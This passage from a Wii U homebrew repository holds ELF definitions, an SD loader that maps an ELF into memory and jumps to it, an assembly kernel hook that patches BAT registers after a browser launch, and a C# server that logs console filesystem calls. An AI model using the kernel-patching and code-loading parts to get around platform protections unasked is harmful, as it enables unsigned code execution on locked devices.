symbol bindings */ #define STB_LOOS 10 /* reserved range for operating */ #define STB_HIOS 12 /* system specific symbol bindings */ #define STB_LOPROC 13 /* reserved range for processor */ #define STB_HIPROC 15 /* specific symbol bindings */ /* Symbol type - ELF32_ST_TYPE - st_info */ #define STT_NOTYPE 0 /* not specified */ #define STT_OBJECT 1 /* data object */ #define STT_FUNC 2 /* function */ #define STT_SECTION 3 /* section */ #define STT_FILE 4 /* file */ #define STT_NUM 5 /* number of symbol types */ #define STT_TLS 6 /* Thread local storage symbol */ #define STT_LOOS 10 /* reserved range for operating */ #define STT_HIOS 12 /* system specific symbol types */ #define STT_LOPROC 13 /* reserved range for processor */ #define STT_HIPROC 15 /* specific symbol types */ /* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ #define STV_DEFAULT 0 /* Normal visibility rules */ #define STV_INTERNAL 1 /* Processor specific hidden class */ #define STV_HIDDEN 2 /* Symbol unavailable in other mods */ #define STV_PROTECTED 3 /* Not preemptible, not exported */ /* Relocation entry with implicit addend */ typedef struct { Elf32_Addr r_offset; /* offset of relocation */ Elf32_Word r_info; /* symbol table index and type */ } Elf32_Rel; /* Relocation entry with explicit addend */ typedef struct { Elf32_Addr r_offset; /* offset of relocation */ Elf32_Word r_info; /* symbol table index and type */ Elf32_Sword r_addend; } Elf32_Rela; /* Extract relocation info - r_info */ #define ELF32_R_SYM(i) ((i) >> 8) #define ELF32_R_TYPE(i) ((unsigned char) (i)) #define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) /* Program Header */ typedef struct { Elf32_Word p_type; /* segment type */ Elf32_Off p_offset; /* segment offset */ Elf32_Addr p_vaddr; /* virtual address of segment */ Elf32_Addr p_paddr; /* physical address - ignored? */ Elf32_Word p_filesz; /* number of bytes in file for seg. */ Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ Elf32_Word p_flags; /* flags */ Elf32_Word p_align; /* memory alignment */ } Elf32_Phdr; /* Segment types - p_type */ #define PT_NULL 0 /* unused */ #define PT_LOAD 1 /* loadable segment */ #define PT_DYNAMIC 2 /* dynamic linking section */ #define PT_INTERP 3 /* the RTLD */ #define PT_NOTE 4 /* auxiliary information */ #define PT_SHLIB 5 /* reserved - purpose undefined */ #define PT_PHDR 6 /* program header */ #define PT_TLS 7 /* Thread local storage template */ #define PT_NUM 8 /* Number of segment types */ #define PT_LOOS 0x60000000 /* reserved range for operating */ #define PT_HIOS 0x6fffffff /* system specific segment types */ #define PT_LOPROC 0x70000000 /* reserved range for processor */ #define PT_HIPROC 0x7fffffff /* specific segment types */ /* Segment flags - p_flags */ #define PF_X 0x1 /* Executable */ #define PF_W 0x2 /* Writable */ #define PF_R 0x4 /* Readable */ #define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ #define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ /* specific segment flags */ /* Dynamic structure */ typedef struct { Elf32_Sword d_tag; /* controls meaning of d_val */ union { Elf32_Word d_val; /* Multiple meanings - see d_tag */ Elf32_Addr d_ptr; /* program virtual address */ } d_un; } Elf32_Dyn; extern Elf32_Dyn _DYNAMIC[]; /* Dynamic Array Tags - d_tag */ #define DT_NULL 0 /* marks end of _DYNAMIC array */ #define DT_NEEDED 1 /* string table offset of needed lib */ #define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ #define DT_PLTGOT 3 /* address PLT/GOT */ #define DT_HASH 4 /* address of symbol hash table */ #define DT_STRTAB 5 /* address of string table */ #define DT_SYMTAB 6 /* address of symbol table */ #define DT_RELA 7 /* address of relocation table */ #define DT_RELASZ 8 /* size of relocation table */ #define DT_RELAENT 9 /* size of relocation entry */ #define DT_STRSZ 10 /* size of string table */ #define DT_SYMENT 11 /* size of symbol table entry */ #define DT_INIT 12 /* address of initialization func. */ #define DT_FINI 13 /* address of termination function */ #define DT_SONAME 14 /* string table offset of shared obj */ #define DT_RPATH 15 /* string table offset of library search path */ #define DT_SYMBOLIC 16 /* start sym search in shared obj. */ #define DT_REL 17 /* address of rel. tbl. w addends */ #define DT_RELSZ 18 /* size of DT_REL relocation table */ #define DT_RELENT 19 /* size of DT_REL relocation entry */ #define DT_PLTREL 20 /* PLT referenced relocation entry */ #define DT_DEBUG 21 /* bugger */ #define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ #define DT_JMPREL 23 /* add. of PLT's relocation entries */ #define DT_BIND_NOW 24 /* Process relocations of object */ #define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ #define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ #define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ #define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ #define DT_RUNPATH 29 /* Library search path */ #define DT_FLAGS 30 /* Flags for the object being loaded */ #define DT_ENCODING 32 /* Start of encoded range */ #define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ #define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ #define DT_NUM 34 /* Number used. */ #define DT_LOOS 0x60000000 /* reserved range for OS */ #define DT_HIOS 0x6fffffff /* specific dynamic array tags */ #define DT_LOPROC 0x70000000 /* reserved range for processor */ #define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ /* Dynamic Tag Flags - d_un.d_val */ #define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ #define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ #define DF_TEXTREL 0x04 /* Object contains text relocations */ #define DF_BIND_NOW 0x08 /* No lazy binding for this object */ #define DF_STATIC_TLS 0x10 /* Static thread local storage */ /* Standard ELF hashing function */ unsigned long elf_hash(const unsigned char *name); #define ELF_TARG_VER 1 /* The ver for which this code is intended */ /* * XXX - PowerPC defines really don't belong in here, * but we'll put them in for simplicity. */ /* Values for Elf32/64_Ehdr.e_flags. */ #define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ /* Cygnus local bits below */ #define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ #define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib flag */ /* PowerPC relocations defined by the ABIs */ #define R_PPC_NONE 0 #define R_PPC_ADDR32 1 /* 32bit absolute address */ #define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ #define R_PPC_ADDR16 3 /* 16bit absolute address */ #define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ #define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ #define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ #define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ #define R_PPC_ADDR14_BRTAKEN 8 #define R_PPC_ADDR14_BRNTAKEN 9 #define R_PPC_REL24 10 /* PC relative 26 bit */ #define R_PPC_REL14 11 /* PC relative 16 bit */ #define R_PPC_REL14_BRTAKEN 12 #define R_PPC_REL14_BRNTAKEN 13 #define R_PPC_GOT16 14 #define R_PPC_GOT16_LO 15 #define R_PPC_GOT16_HI 16 #define R_PPC_GOT16_HA 17 #define R_PPC_PLTREL24 18 #define R_PPC_COPY 19 #define R_PPC_GLOB_DAT 20 #define R_PPC_JMP_SLOT 21 #define R_PPC_RELATIVE 22 #define R_PPC_LOCAL24PC 23 #define R_PPC_UADDR32 24 #define R_PPC_UADDR16 25 #define R_PPC_REL32 26 #define R_PPC_PLT32 27 #define R_PPC_PLTREL32 28 #define R_PPC_PLT16_LO 29 #define R_PPC_PLT16_HI 30 #define R_PPC_PLT16_HA 31 #define R_PPC_SDAREL16 32 #define R_PPC_SECTOFF 33 #define R_PPC_SECTOFF_LO 34 #define R_PPC_SECTOFF_HI 35 #define R_PPC_SECTOFF_HA 36 /* Keep this the last entry. */ #define R_PPC_NUM 37 /* The remaining relocs are from the Embedded ELF ABI, and are not in the SVR4 ELF ABI. */ #define R_PPC_EMB_NADDR32 101 #define R_PPC_EMB_NADDR16 102 #define R_PPC_EMB_NADDR16_LO 103 #define R_PPC_EMB_NADDR16_HI 104 #define R_PPC_EMB_NADDR16_HA 105 #define R_PPC_EMB_SDAI16 106 #define R_PPC_EMB_SDA2I16 107 #define R_PPC_EMB_SDA2REL 108 #define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ #define R_PPC_EMB_MRKREF 110 #define R_PPC_EMB_RELSEC16 111 #define R_PPC_EMB_RELST_LO 112 #define R_PPC_EMB_RELST_HI 113 #define R_PPC_EMB_RELST_HA 114 #define R_PPC_EMB_BIT_FLD 115 #define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ /* Diab tool relocations. */ #define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ #define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ #define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ #define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ #define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ #define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ /* This is a phony reloc to handle any old fashioned TOC16 references that may still be in object files. */ #define R_PPC_TOC16 255 #endif /* _ELF_H */ ================================================ FILE: sd_loader/src/entry.c ================================================ #include #include "elf_abi.h" #include "../../src/common/common.h" #include "../../src/dynamic_libs/fs_defs.h" #include "../../src/common/os_defs.h" #define CODE_RW_BASE_OFFSET 0 #define DATA_RW_BASE_OFFSET 0 #define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); #define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) typedef struct _private_data_t { EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); EXPORT_DECL(void, OSFatal, const char* msg); EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); EXPORT_DECL(void, exit, void); EXPORT_DECL(int, FSInit, void); EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); EXPORT_DECL(int, FSDelClient, void *pClient); EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv); } private_data_t; static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) { int iFd = -1; void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); if(!pClient) return 0; void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); if(!pCmd) { private_data->MEMFreeToDefaultHeap(pClient); return 0; } int success = 0; private_data->FSInit(); private_data->FSInitCmdBlock(pCmd); private_data->FSAddClientEx(pClient, 0, -1); do { char tempPath[FS_MOUNT_SOURCE_SIZE]; char mountPath[FS_MAX_MOUNTPATH_SIZE]; int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); if (status != 0) { private_data->OSFatal("FSGetMountSource failed."); break; } status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); if(status != 0) { private_data->OSFatal("SD mount failed."); break; } status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); if(status != 0) { private_data->FSUnmount(pClient, pCmd, mountPath, -1); break; } FSStat stat; stat.size = 0; void *pBuffer = NULL; private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); if(stat.size > 0) pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); if(!pBuffer) private_data->OSFatal("Not enough memory for ELF file."); unsigned int done = 0; while(done < stat.size) { int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); if(readBytes <= 0) { break; } done += readBytes; } if(done != stat.size) { private_data->MEMFreeToDefaultHeap(pBuffer); } else { *fileOut = (unsigned char*)pBuffer; *sizeOut = stat.size; success = 1; } private_data->FSCloseFile(pClient, pCmd, iFd, -1); private_data->FSUnmount(pClient, pCmd, mountPath, -1); } while(0); private_data->FSDelClient(pClient); private_data->MEMFreeToDefaultHeap(pClient); private_data->MEMFreeToDefaultHeap(pCmd); return success; } static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) { Elf32_Ehdr *ehdr; Elf32_Phdr *phdrs; unsigned char *image; int i; ehdr = (Elf32_Ehdr *) elfstart; if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0) return 0; if(ehdr->e_phentsize != sizeof(Elf32_Phdr)) return 0; phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff); for(i = 0; i < ehdr->e_phnum; i++) { if(phdrs[i].p_type != PT_LOAD) continue; if(phdrs[i].p_filesz > phdrs[i].p_memsz) return 0; if(!phdrs[i].p_filesz) continue; unsigned int p_paddr = phdrs[i].p_paddr; // use correct offset address for executables and data access if(phdrs[i].p_flags & PF_X) p_paddr += CODE_RW_BASE_OFFSET; else p_paddr += DATA_RW_BASE_OFFSET; image = (unsigned char *) (elfstart + phdrs[i].p_offset); private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); if(phdrs[i].p_flags & PF_X) private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz); } //! clear BSS Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff); for(i = 0; i < ehdr->e_shnum; i++) { const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') { private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); } else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') { private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); } } return ehdr->e_entry; } static void loadFunctionPointers(private_data_t * private_data) { unsigned int coreinit_handle; EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; OSDynLoad_Acquire("coreinit", &coreinit_handle); unsigned int *functionPtr = 0; OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange); OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange); OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf); OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit); OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); unsigned int sysapp_handle; OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); } int _start(int argc, char **argv) { { private_data_t private_data; loadFunctionPointers(&private_data); while(1) { if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) { //! copy data to safe area before processing it unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); if(pElfBuffer) { private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); private_data.MEMFreeToDefaultHeap(pElfBuffer); } ELF_DATA_ADDR = 0xDEADC0DE; ELF_DATA_SIZE = 0; } if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) { unsigned char *pElfBuffer = NULL; unsigned int uiElfSize = 0; LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf", &pElfBuffer, &uiElfSize); if(!pElfBuffer) { private_data.OSFatal("Could not load file " WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf"); } else { MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); private_data.MEMFreeToDefaultHeap(pElfBuffer); if(MAIN_ENTRY_ADDR == 0) { private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf"); } } } else { int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); //! exit to miimaker and restart application on re-enter of another application if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) { break; } //! exit to homebrew launcher in all other cases else { //MAIN_ENTRY_ADDR = 0xDEADC0DE; //private_data.SYSRelaunchTitle(0, 0); //private_data.exit(); break; } } } } return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); } ================================================ FILE: sd_loader/src/kernel_hooks.S ================================================ # This stuff may need a change in different kernel versions # This is only needed when launched directly through browser and not SD card. .section ".kernel_code" .globl SaveAndResetDataBATs_And_SRs_hook SaveAndResetDataBATs_And_SRs_hook: # setup CTR to the position we need to return to mflr r5 mtctr r5 # set link register to its original value mtlr r7 # setup us a nice DBAT for our code data with same region as our code mfspr r5, 560 mtspr 570, r5 mfspr r5, 561 mtspr 571, r5 # restore the original kernel instructions that we replaced lwz r5, 0x34(r3) lwz r6, 0x38(r3) lwz r7, 0x3C(r3) lwz r8, 0x40(r3) lwz r9, 0x44(r3) lwz r10, 0x48(r3) lwz r11, 0x4C(r3) lwz r3, 0x50(r3) isync mtsr 7, r5 # jump back to the position in kernel after our patch (from LR) bctr ================================================ FILE: sd_loader/src/link.ld ================================================ OUTPUT(sd_loader.elf); ENTRY(_start); SECTIONS { . = 0x00800000; .text : { *(.kernel_code*); *(.text*); /* Tell linker to not garbage collect this section as it is not referenced anywhere */ KEEP(*(.kernel_code*)); } .data : { *(.rodata*); *(.data*); } /DISCARD/ : { *(*); } } ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, "Memory overlapping with main elf."); ================================================ FILE: server/src/Program.cs ================================================ using System; using System.IO; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Collections.Generic; namespace cafiine_server { class Program { // Command bytes // com public const byte BYTE_NORMAL = 0xff; public const byte BYTE_SPECIAL = 0xfe; public const byte BYTE_OK = 0xfd; public const byte BYTE_PING = 0xfc; public const byte BYTE_LOG_STR = 0xfb; public const byte BYTE_DISCONNECT = 0xfa; // sd public const byte BYTE_MOUNT_SD = 0xe0; public const byte BYTE_MOUNT_SD_OK = 0xe1; public const byte BYTE_MOUNT_SD_BAD = 0xe2; // replacement public const byte BYTE_STAT = 0x00; public const byte BYTE_STAT_ASYNC = 0x01; public const byte BYTE_OPEN_FILE = 0x02; public const byte BYTE_OPEN_FILE_ASYNC = 0x03; public const byte BYTE_OPEN_DIR = 0x04; public const byte BYTE_OPEN_DIR_ASYNC = 0x05; public const byte BYTE_CHANGE_DIR = 0x06; public const byte BYTE_CHANGE_DIR_ASYNC = 0x07; public const byte BYTE_MAKE_DIR = 0x08; public const byte BYTE_MAKE_DIR_ASYNC = 0x09; public const byte BYTE_RENAME = 0x0a; public const byte BYTE_RENAME_ASYNC = 0x0b; public const byte BYTE_REMOVE = 0x0c; public const byte BYTE_REMOVE_ASYNC = 0x0d; // log public const byte BYTE_CLOSE_FILE = 0x40; public const byte BYTE_CLOSE_FILE_ASYNC = 0x41; public const byte BYTE_CLOSE_DIR = 0x42; public const byte BYTE_CLOSE_DIR_ASYNC = 0x43; public const byte BYTE_FLUSH_FILE = 0x44; public const byte BYTE_GET_ERROR_CODE_FOR_VIEWER = 0x45; public const byte BYTE_GET_LAST_ERROR = 0x46; public const byte BYTE_GET_MOUNT_SOURCE = 0x47; public const byte BYTE_GET_MOUNT_SOURCE_NEXT = 0x48; public const byte BYTE_GET_POS_FILE = 0x49; public const byte BYTE_SET_POS_FILE = 0x4A; public const byte BYTE_GET_STAT_FILE = 0x4B; public const byte BYTE_EOF = 0x4C; public const byte BYTE_READ_FILE = 0x4D; public const byte BYTE_READ_FILE_ASYNC = 0x4E; public const byte BYTE_READ_FILE_WITH_POS = 0x4F; public const byte BYTE_READ_DIR = 0x50; public const byte BYTE_READ_DIR_ASYNC = 0x51; public const byte BYTE_GET_CWD = 0x52; public const byte BYTE_SET_STATE_CHG_NOTIF = 0x53; public const byte BYTE_TRUNCATE_FILE = 0x54; public const byte BYTE_WRITE_FILE = 0x55; public const byte BYTE_WRITE_FILE_WITH_POS = 0x56; public const byte BYTE_CREATE_THREAD = 0x60; // Other defines public const int FS_MAX_ENTNAME_SIZE = 256; public const int FS_MAX_ENTNAME_SIZE_PAD = 0; public const int FS_MAX_LOCALPATH_SIZE = 511; public const int FS_MAX_MOUNTPATH_SIZE = 128; // Logs folder public static string logs_root = "logs"; // Port to listen on public static short port = 7332; static void Main(string[] args) { // Check if logs folder if (!Directory.Exists(logs_root)) { Console.WriteLine("Logs directory '{0}' does not exist, creating it ...", logs_root); Directory.CreateDirectory (logs_root); } // Delete logs System.IO.DirectoryInfo downloadedMessageInfo = new DirectoryInfo(logs_root); foreach (FileInfo file in downloadedMessageInfo.GetFiles()) { file.Delete(); } // Start server string name = "[listener]"; try { TcpListener listener = new TcpListener(IPAddress.Any, port); listener.Start(); Console.WriteLine(name + " Listening on " + port); int index = 0; while (true) { TcpClient client = listener.AcceptTcpClient(); Console.WriteLine("connected"); Thread thread = new Thread(Handle); thread.Name = "[" + index.ToString() + "]"; thread.Start(client); index++; } } catch (Exception e) { Console.WriteLine(name + " " + e.Message); } Console.WriteLine(name + " Exit"); } static void Log(StreamWriter log, String str) { log.WriteLine(str); log.Flush(); Console.WriteLine(str); } static void Handle(object client_obj) { string name = Thread.CurrentThread.Name; StreamWriter log = null; try { TcpClient client = (TcpClient)client_obj; using (NetworkStream stream = client.GetStream()) { EndianBinaryReader reader = new EndianBinaryReader(stream); EndianBinaryWriter writer = new EndianBinaryWriter(stream); // Log connection Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString()); // Create log file for current thread log = new StreamWriter(Path.Combine(logs_root, DateTime.Now.ToString("yyyy-MM-dd") + "-" + name + ".txt")); log.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString()); writer.Write(BYTE_SPECIAL); while (true) { byte cmd_byte = reader.ReadByte(); switch (cmd_byte) { // cmd case BYTE_PING: { int val1 = reader.ReadInt32(); int val2 = reader.ReadInt32(); Log(log, name + " PING RECEIVED with values : " + val1.ToString() + " - " + val2.ToString()); break; } case BYTE_LOG_STR: { int len_str = reader.ReadInt32(); string str = reader.ReadString(Encoding.ASCII, len_str - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); Log(log, name + " LogString =>(\"" + str + "\")"); break; } case BYTE_DISCONNECT: { Log(log, name + " DISCONNECT"); break; } // sd case BYTE_MOUNT_SD: { Log(log, name + " Trying to mount SD card"); break; } case BYTE_MOUNT_SD_OK: { Log(log, name + " SD card mounted !"); break; } case BYTE_MOUNT_SD_BAD: { Log(log, name + " Can't mount SD card"); break; } // replacement case BYTE_STAT: case BYTE_STAT_ASYNC: { int len_path = reader.ReadInt32(); string path = reader.ReadString(Encoding.ASCII, len_path - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); if (cmd_byte == BYTE_STAT) Log(log, name + " FSGetStat(\"" + path + "\")"); else Log(log, name + " FSGetStatAsync(\"" + path + "\")"); break; } case BYTE_OPEN_FILE: case BYTE_OPEN_FILE_ASYNC: { int len_str = reader.ReadInt32(); string str = reader.ReadString(Encoding.ASCII, len_str - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); if (cmd_byte == BYTE_OPEN_FILE) Log(log, name + " FSOpenFile(\"" + str + "\")"); else Log(log, name + " FSOpenFileAsync(\"" + str + "\")"); break; } case BYTE_OPEN_DIR: case BYTE_OPEN_DIR_ASYNC: { int len_path = reader.ReadInt32(); string path = reader.ReadString(Encoding.ASCII, len_path - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); if (cmd_byte == BYTE_OPEN_DIR) Log(log, name + " FSOpenDir(\"" + path + "\")"); else Log(log, name + " FSOpenDirAsync(\"" + path + "\")"); break; } case BYTE_CHANGE_DIR: case BYTE_CHANGE_DIR_ASYNC: { int len_path = reader.ReadInt32(); string path = reader.ReadString(Encoding.ASCII, len_path - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); if (cmd_byte == BYTE_CHANGE_DIR) Log(log, name + " FSChangeDir(\"" + path + "\")"); else Log(log, name + " FSChangeDirAsync(\"" + path + "\")"); break; } case BYTE_MAKE_DIR: case BYTE_MAKE_DIR_ASYNC: { int len_path = reader.ReadInt32(); string path = reader.ReadString(Encoding.ASCII, len_path - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); if (cmd_byte == BYTE_CHANGE_DIR) Log(log, name + " FSMakeDir(\"" + path + "\")"); else Log(log, name + " FSMakeDirAsync(\"" + path + "\")"); break; } case BYTE_RENAME: case BYTE_RENAME_ASYNC: { int len_path = reader.ReadInt32(); string path = reader.ReadString(Encoding.ASCII, len_path - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); if (cmd_byte == BYTE_CHANGE_DIR) Log(log, name + " FSRename(\"" + path + "\")"); else Log(log, name + " FSRenameAsync(\"" + path + "\")"); break; } case BYTE_REMOVE: case BYTE_REMOVE_ASYNC: { int len_path = reader.ReadInt32(); string path = reader.ReadString(Encoding.ASCII, len_path - 1); if (reader.ReadByte() != 0) throw new InvalidDataException(); if (cmd_byte == BYTE_CHANGE_DIR) Log(log, name + " FSRemove(\"" + path + "\")"); else Log(log, name + " FSRemoveAsync(\"" + path + "\")"); break; } // Log case BYTE_CLOSE_FILE: { Log(log, name + " FSCloseFile()"); break; } case BYTE_CLOSE_FILE_ASYNC: { Log(log, name + " FSCloseFileAsync()"); break; } case BYTE_CLOSE_DIR: { Log(log, name + " FSCloseDir()"); break; } case BYTE_CLOSE_DIR_ASYNC: { Log(log, name + " FSCloseDirAsync()"); break; } case BYTE_FLUSH_FILE: { Log(log, name + " FSFlushFile()"); break; } case BYTE_GET_ERROR_CODE_FOR_VIEWER: { Log(log, name + " FSGetErrorCodeForViewer()"); break; } case BYTE_GET_LAST_ERROR: { Log(log, name + " FSGetLastError()"); break; } case BYTE_GET_MOUNT_SOURCE: { Log(log, name + " FsGetMountSource()"); break; } case BYTE_GET_MOUNT_SOURCE_NEXT: { Log(log, name + " FsGetMountSourceNext()"); break; } case BYTE_GET_POS_FILE: { Log(log, name + " FSGetPos()"); break; } case BYTE_SET_POS_FILE: { Log(log, name + " FSSetPos()"); break; } case BYTE_GET_STAT_FILE: { Log(log, name + " FSGetStatFile()"); break; } case BYTE_EOF: { Log(log, name + " FSGetEof()"); break; } case BYTE_READ_FILE: { Log(log, name + " FSReadFile()"); break; } case BYTE_READ_FILE_ASYNC: { Log(log, name + " FSReadFileAsync()"); 